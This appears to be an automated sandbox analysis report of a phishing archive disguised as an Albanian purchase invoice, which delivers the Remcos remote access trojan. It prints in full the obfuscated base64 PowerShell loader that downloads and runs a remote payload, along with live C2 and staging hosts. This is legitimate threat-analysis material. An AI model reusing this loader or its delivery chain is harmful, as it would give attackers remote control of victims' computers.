| File name: | Topuzi shpk group 16042025 lista e dokumenteve te porosi blerjes faturë pdf.lzh |
| Full analysis: | https://app.any.run/tasks/2234a7aa-a818-4356-8903-8e284082971b |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | April 19, 2025, 14:19:15 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-lzh-compressed |
| File info: | LHa (2.x)/LHark archive data [lh7], with "Topuzi shpk group 16042025 lista e dokumenteve te porosi blerjes fatur\211 pdf.js" |
| MD5: | 0A8297739E2ED61AF07A1F107DDFE757 |
| SHA1: | 905C64A52C3617317AD871FD29A3D3809DB6E9C4 |
| SHA256: | 3F08ABB4F2054251F2EB474B947FDB3EB150EECF10C173B1B398B35018230A34 |
| SSDEEP: | 12:8Q9OayXDv/E2vaXrzfYL9Oxyxk2Gm6DDJmCtBD4cYud:2ayzv/L8rzfIGm6JltBscTd |
MALICIOUS
Sends HTTP request (SCRIPT)
- wscript.exe (PID: 7332)
Creates internet connection object (SCRIPT)
- wscript.exe (PID: 7332)
Opens an HTTP connection (SCRIPT)
- wscript.exe (PID: 7332)
STEGOCAMPAIGN has been detected
- powershell.exe (PID: 7624)
Downloads the requested resource (POWERSHELL)
- powershell.exe (PID: 7624)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 7624)
REMCOS has been detected (SURICATA)
- MSBuild.exe (PID: 7884)
REMCOS has been detected
- MSBuild.exe (PID: 7884)
- MSBuild.exe (PID: 7884)
REMCOS mutex has been found
- MSBuild.exe (PID: 7884)
SUSPICIOUS
Possibly malicious use of IEX has been detected
- wscript.exe (PID: 7332)
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 496)
- MSBuild.exe (PID: 7884)
The process executes JS scripts
- WinRAR.exe (PID: 496)
The process bypasses the loading of PowerShell profile settings
- wscript.exe (PID: 7332)
Potential Corporate Privacy Violation
- wscript.exe (PID: 7332)
- powershell.exe (PID: 7624)
Probably obfuscated PowerShell command line is found
- wscript.exe (PID: 7332)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 7332)
Runs shell command (SCRIPT)
- wscript.exe (PID: 7332)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 7624)
Connects to unusual port
- MSBuild.exe (PID: 7884)
Contacting a server suspected of hosting an CnC
- MSBuild.exe (PID: 7884)
INFO
Checks proxy server information
- wscript.exe (PID: 7332)
- powershell.exe (PID: 7624)
- MSBuild.exe (PID: 7884)
Reads Microsoft Office registry keys
- WinRAR.exe (PID: 496)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 7624)
Converts byte array into Unicode string (POWERSHELL)
- powershell.exe (PID: 7624)
Disables trace logs
- powershell.exe (PID: 7624)
Reads the computer name
- MSBuild.exe (PID: 7884)
Gets data length (POWERSHELL)
- powershell.exe (PID: 7624)
Checks supported languages
- MSBuild.exe (PID: 7884)
Reads the machine GUID from the registry
- MSBuild.exe (PID: 7884)
Creates files or folders in the user directory
- MSBuild.exe (PID: 7884)
Creates files in the program directory
- MSBuild.exe (PID: 7884)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .lzh/lha | | | LHARC/LZARK compressed archive (generic) (100) |
|---|
Total processes
134
Monitored processes
9
Malicious processes
4
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 496 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\Topuzi shpk group 16042025 lista e dokumenteve te porosi blerjes faturë pdf.lzh" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe | |||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7236 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7268 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7332 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa496.17323\Topuzi shpk group 16042025 lista e dokumenteve te porosi blerjes faturë pdf.js" | C:\Windows\System32\wscript.exe | WinRAR.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
| 7624 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command ""$Codigo = 'JcoloredBtcoloredHUcoloredcwBrcoloredHIcoloredYQB0coloredCcoloredcoloredPQcoloredgcoloredCccoloredMcoloredcoloredvcoloredHccoloredQwBMcoloredEMcoloredIwBXcoloredFkcoloredagcoloredvcoloredGQcoloredLwBlcoloredGUcoloredLgBlcoloredCMcoloredcwBhcoloredHcoloredcoloredLwcoloredvcoloredDocoloredcwBwcoloredCMcoloredIwBocoloredCccoloredOwcoloredkcoloredGMcoloredbwBycoloredGkcoloredcwcoloredgcoloredD0coloredIcoloredcoloredkcoloredG0coloreddQBzcoloredGscoloredcgBhcoloredHQcoloredIcoloredcoloredtcoloredHIcoloredZQBwcoloredGwcoloredYQBjcoloredGUcoloredIcoloredcoloredncoloredCMcoloredJwcoloredscoloredCcoloredcoloredJwB0coloredCccoloredOwcoloredkcoloredHcoloredcoloredYQBucoloredGQcoloredZQBycoloredCcoloredcoloredPQcoloredgcoloredCccoloredacoloredB0coloredHQcoloredccoloredBzcoloredDocoloredLwcoloredvcoloredGEcoloredcgBjcoloredGgcoloredaQB2coloredGUcoloredLgBvcoloredHIcoloredZwcoloredvcoloredGQcoloredbwB3coloredG4coloredbcoloredBvcoloredGEcoloredZcoloredcoloredvcoloredG4coloredZQB3coloredF8coloredaQBtcoloredGEcoloredZwBlcoloredF8coloredMgcoloredwcoloredDIcoloredNQcoloredwcoloredDQcoloredMQcoloredzcoloredC8coloredbgBlcoloredHccoloredXwBpcoloredG0coloredYQBncoloredGUcoloredLgBqcoloredHcoloredcoloredZwcoloredncoloredDscoloredJcoloredBicoloredHUcoloreddcoloredB5coloredGwcoloredYQB0coloredGUcoloredIcoloredcolored9coloredCcoloredcoloredTgBlcoloredHccoloredLQBPcoloredGIcoloredagBlcoloredGMcoloreddcoloredcoloredgcoloredFMcoloredeQBzcoloredHQcoloredZQBtcoloredC4coloredTgBlcoloredHQcoloredLgBXcoloredGUcoloredYgBDcoloredGwcoloredaQBlcoloredG4coloreddcoloredcolored7coloredCQcoloredYgB1coloredHQcoloredeQBscoloredGEcoloreddcoloredBlcoloredC4coloredScoloredBlcoloredGEcoloredZcoloredBlcoloredHIcoloredcwcoloreducoloredEEcoloredZcoloredBkcoloredCgcoloredJwBVcoloredHMcoloredZQBycoloredC0coloredQQBncoloredGUcoloredbgB0coloredCccoloredLcoloredcoloredncoloredE0coloredbwB6coloredGkcoloredbcoloredBscoloredGEcoloredLwcolored1coloredC4coloredMcoloredcoloredncoloredCkcoloredOwcoloredkcoloredGEcoloredZcoloredBlcoloredG4coloredbwBscoloredGkcoloredccoloredBvcoloredG0coloredYQcoloredgcoloredD0coloredIcoloredcoloredkcoloredGIcoloreddQB0coloredHkcoloredbcoloredBhcoloredHQcoloredZQcoloreducoloredEQcoloredbwB3coloredG4coloredbcoloredBvcoloredGEcoloredZcoloredBEcoloredGEcoloreddcoloredBhcoloredCgcoloredJcoloredBwcoloredGEcoloredbgBkcoloredGUcoloredcgcoloredpcoloredDscoloredJcoloredBLcoloredG8coloredcgB0coloredG8coloredZwBvcoloredCcoloredcoloredPQcoloredgcoloredFscoloredUwB5coloredHMcoloreddcoloredBlcoloredG0coloredLgBUcoloredGUcoloredecoloredB0coloredC4coloredRQBucoloredGMcoloredbwBkcoloredGkcoloredbgBncoloredF0coloredOgcolored6coloredFUcoloredVcoloredBGcoloredDgcoloredLgBHcoloredGUcoloreddcoloredBTcoloredHQcoloredcgBpcoloredG4coloredZwcoloredocoloredCQcoloredYQBkcoloredGUcoloredbgBvcoloredGwcoloredaQBwcoloredG8coloredbQBhcoloredCkcoloredOwcoloredkcoloredGEcoloredYgBocoloredG8coloredbQBpcoloredG4coloredYQBicoloredGwcoloredZQcoloredgcoloredD0coloredIcoloredcoloredncoloredDwcoloredPcoloredBCcoloredEEcoloredUwBFcoloredDYcoloredNcoloredBfcoloredFMcoloredVcoloredBBcoloredFIcoloredVcoloredcolored+coloredD4coloredJwcolored7coloredCQcoloredcwBvcoloredHIcoloredaQB0coloredGUcoloredcwcoloredgcoloredD0coloredIcoloredcoloredncoloredDwcoloredPcoloredBCcoloredEEcoloredUwBFcoloredDYcoloredNcoloredBfcoloredEUcoloredTgBEcoloredD4coloredPgcoloredncoloredDscoloredJcoloredBhcoloredG4coloredZcoloredBycoloredG8coloredZwB5coloredG4coloredbwBzcoloredCcoloredcoloredPQcoloredgcoloredCQcoloredSwBvcoloredHIcoloreddcoloredBvcoloredGccoloredbwcoloreducoloredEkcoloredbgBkcoloredGUcoloredecoloredBPcoloredGYcoloredKcoloredcoloredkcoloredGEcoloredYgBocoloredG8coloredbQBpcoloredG4coloredYQBicoloredGwcoloredZQcoloredpcoloredDscoloredJcoloredBqcoloredHUcoloredbgBrcoloredGUcoloredcgBpcoloredHQcoloredZQcoloredgcoloredD0coloredIcoloredcoloredkcoloredEscoloredbwBycoloredHQcoloredbwBncoloredG8coloredLgBJcoloredG4coloredZcoloredBlcoloredHgcoloredTwBmcoloredCgcoloredJcoloredBzcoloredG8coloredcgBpcoloredHQcoloredZQBzcoloredCkcoloredOwcoloredkcoloredGEcoloredbgBkcoloredHIcoloredbwBncoloredHkcoloredbgBvcoloredHMcoloredIcoloredcoloredtcoloredGccoloredZQcoloredgcoloredDcoloredcoloredIcoloredcoloredtcoloredGEcoloredbgBkcoloredCcoloredcoloredJcoloredBqcoloredHUcoloredbgBrcoloredGUcoloredcgBpcoloredHQcoloredZQcoloredgcoloredC0coloredZwB0coloredCcoloredcoloredJcoloredBhcoloredG4coloredZcoloredBycoloredG8coloredZwB5coloredG4coloredbwBzcoloredDscoloredJcoloredBhcoloredG4coloredZcoloredBycoloredG8coloredZwB5coloredG4coloredbwBzcoloredCcoloredcoloredKwcolored9coloredCcoloredcoloredJcoloredBhcoloredGIcoloredacoloredBvcoloredG0coloredaQBucoloredGEcoloredYgBscoloredGUcoloredLgBMcoloredGUcoloredbgBncoloredHQcoloredacoloredcolored7coloredCQcoloredZgBvcoloredHIcoloredbQBhcoloredHQcoloredZQcoloredgcoloredD0coloredIcoloredcoloredkcoloredGocoloreddQBucoloredGscoloredZQBycoloredGkcoloreddcoloredBlcoloredCcoloredcoloredLQcoloredgcoloredCQcoloredYQBucoloredGQcoloredcgBvcoloredGccoloredeQBucoloredG8coloredcwcolored7coloredCQcoloredYwB1coloredHIcoloredcgBhcoloredG4coloreddcoloredBzcoloredCcoloredcoloredPQcoloredgcoloredCQcoloredSwBvcoloredHIcoloreddcoloredBvcoloredGccoloredbwcoloreducoloredFMcoloreddQBicoloredHMcoloreddcoloredBycoloredGkcoloredbgBncoloredCgcoloredJcoloredBhcoloredG4coloredZcoloredBycoloredG8coloredZwB5coloredG4coloredbwBzcoloredCwcoloredIcoloredcoloredkcoloredGYcoloredbwBycoloredG0coloredYQB0coloredGUcoloredKQcolored7coloredCQcoloredcwB0coloredHIcoloredZQBlcoloredHQcoloreddwBhcoloredGwcoloredawBpcoloredG4coloredZwcoloredgcoloredD0coloredIcoloredBbcoloredFMcoloredeQBzcoloredHQcoloredZQBtcoloredC4coloredQwBvcoloredG4coloreddgBlcoloredHIcoloreddcoloredBdcoloredDocoloredOgBGcoloredHIcoloredbwBtcoloredEIcoloredYQBzcoloredGUcoloredNgcolored0coloredFMcoloreddcoloredBycoloredGkcoloredbgBncoloredCgcoloredJcoloredBjcoloredHUcoloredcgBycoloredGEcoloredbgB0coloredHMcoloredKQcolored7coloredCQcoloredaQBtcoloredHcoloredcoloredZQBycoloredGMcoloredZQBpcoloredHYcoloredYQBicoloredGwcoloredZQcoloredgcoloredD0coloredIcoloredBbcoloredFMcoloredeQBzcoloredHQcoloredZQBtcoloredC4coloredUgBlcoloredGYcoloredbcoloredBlcoloredGMcoloreddcoloredBpcoloredG8coloredbgcoloreducoloredEEcoloredcwBzcoloredGUcoloredbQBicoloredGwcoloredeQBdcoloredDocoloredOgBMcoloredG8coloredYQBkcoloredCgcoloredJcoloredBzcoloredHQcoloredcgBlcoloredGUcoloreddcoloredB3coloredGEcoloredbcoloredBrcoloredGkcoloredbgBncoloredCkcoloredOwcoloredkcoloredGIcoloredaQBicoloredGwcoloredaQBvcoloredGwcoloredbwBncoloredGkcoloredcwB0coloredCcoloredcoloredPQcoloredgcoloredFscoloredZcoloredBucoloredGwcoloredaQBicoloredC4coloredSQBPcoloredC4coloredScoloredBvcoloredG0coloredZQBdcoloredC4coloredRwBlcoloredHQcoloredTQBlcoloredHQcoloredacoloredBvcoloredGQcoloredKcoloredcoloredncoloredFYcoloredQQBJcoloredCccoloredKQcoloreducoloredEkcoloredbgB2coloredG8coloredawBlcoloredCgcoloredJcoloredBucoloredHUcoloredbcoloredBscoloredCwcoloredIcoloredBbcoloredG8coloredYgBqcoloredGUcoloredYwB0coloredFscoloredXQBdcoloredCcoloredcoloredQcoloredcoloredocoloredCQcoloredYwBvcoloredHIcoloredaQBzcoloredCwcoloredJwcoloredncoloredCwcoloredJwcoloredncoloredCwcoloredJwcoloredncoloredCwcoloredJwBNcoloredFMcoloredQgB1coloredGkcoloredbcoloredBkcoloredCccoloredLcoloredcoloredncoloredCccoloredLcoloredcoloredncoloredCccoloredLcoloredcoloredncoloredCccoloredLcoloredcoloredncoloredCccoloredLcoloredcoloredncoloredEMcoloredOgBccoloredFUcoloredcwBlcoloredHIcoloredcwBccoloredFcoloredcoloreddQBicoloredGwcoloredaQBjcoloredFwcoloredRcoloredBvcoloredHccoloredbgBscoloredG8coloredYQBkcoloredHMcoloredJwcoloredscoloredCccoloreddQBucoloredGgcoloredZQBhcoloredHIcoloredZcoloredcoloredncoloredCwcoloredJwBqcoloredHMcoloredJwcoloredscoloredCccoloredJwcoloredscoloredCccoloredJwcoloredscoloredCccoloredcwB5coloredG0coloredYgBvcoloredGwcoloredaQBzcoloredG0coloredJwcoloredscoloredCccoloredMgcoloredncoloredCwcoloredJwcoloredncoloredCkcoloredKQcolored='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('colored','A'))); Invoke-Expression $OWjuxd"" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7632 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7876 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 4294967295 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 7884 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
Total events
8 418
Read events
8 403
Write events
15
Delete events
0
Modification events
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\preferences.zip | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\chromium_ext.zip | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\omni_23_10_2024_.zip | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\Desktop\Topuzi shpk group 16042025 lista e dokumenteve te porosi blerjes faturë pdf.lzh | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | mtime |
Value: 100 | |||
| (PID) Process: | (496) WinRAR.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.js\OpenWithProgids |
| Operation: | write | Name: | JSFile |
Value: | |||
| (PID) Process: | (7332) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
| Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: A0D0100000000000 | |||
Executable files
0
Suspicious files
3
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7624 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ez1qvogg.jyr.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7624 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ppwfdq1t.x4v.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 496 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa496.17323\Topuzi shpk group 16042025 lista e dokumenteve te porosi blerjes faturë pdf.js | text | |
MD5:16CFE65D150BACBAD87A33D3B11B1879 | SHA256:19B03422BDBEB88111DFABEF929911D85CB8DD16E63DCF7B0BB7392417A2E639 | |||
| 7884 | MSBuild.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\json[1].json | binary | |
MD5:30FD6BCB2A0B8DAEE4707ABE9DED8884 | SHA256:DBD3F93991BBCF6A4C3BB62E380B4BC62295914F382EB1A005BAF684732C64B8 | |||
| 7884 | MSBuild.exe | C:\ProgramData\remcos\logs.dat | binary | |
MD5:DA3BE759E76FEE010E6A80D7E584CBCC | SHA256:D9F691F988DD907E6952A7192B19D370EAC56D9757AB1DCDAD5B3CD2E10C6D5A | |||
| 7624 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:124B15974BC17A96C7947FC9F6FDF14F | SHA256:CD04A1F4170EF4D93CDB38D85B9066DE4D3A31EDDBAEACE36B1051CD5470FC59 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
24
DNS requests
17
Threats
8
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.19.11.105:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
7332 | wscript.exe | GET | 301 | 23.186.113.60:80 | http://paste.ee/d/V6uMWGgI/0 | unknown | — | — | shared |
8076 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7884 | MSBuild.exe | GET | 200 | 178.237.33.50:80 | http://geoplugin.net/json.gp | unknown | — | — | whitelisted |
8076 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 2.19.11.105:80 | crl.microsoft.com | Elisa Oyj | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
7332 | wscript.exe | 23.186.113.60:80 | paste.ee | — | — | shared |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
7332 | wscript.exe | 23.186.113.60:443 | paste.ee | — | — | shared |
6544 | svchost.exe | 20.190.160.66:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
7624 | powershell.exe | 207.241.224.2:443 | archive.org | INTERNET-ARCHIVE | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
paste.ee |
| shared |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
archive.org |
| whitelisted |
ia801700.us.archive.org |
| whitelisted |
tama333.duckdns.org |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
7332 | wscript.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
7624 | powershell.exe | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
2196 | svchost.exe | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
7884 | MSBuild.exe | Misc Attack | ET DROP Spamhaus DROP Listed Traffic Inbound group 30 |
7884 | MSBuild.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
7884 | MSBuild.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |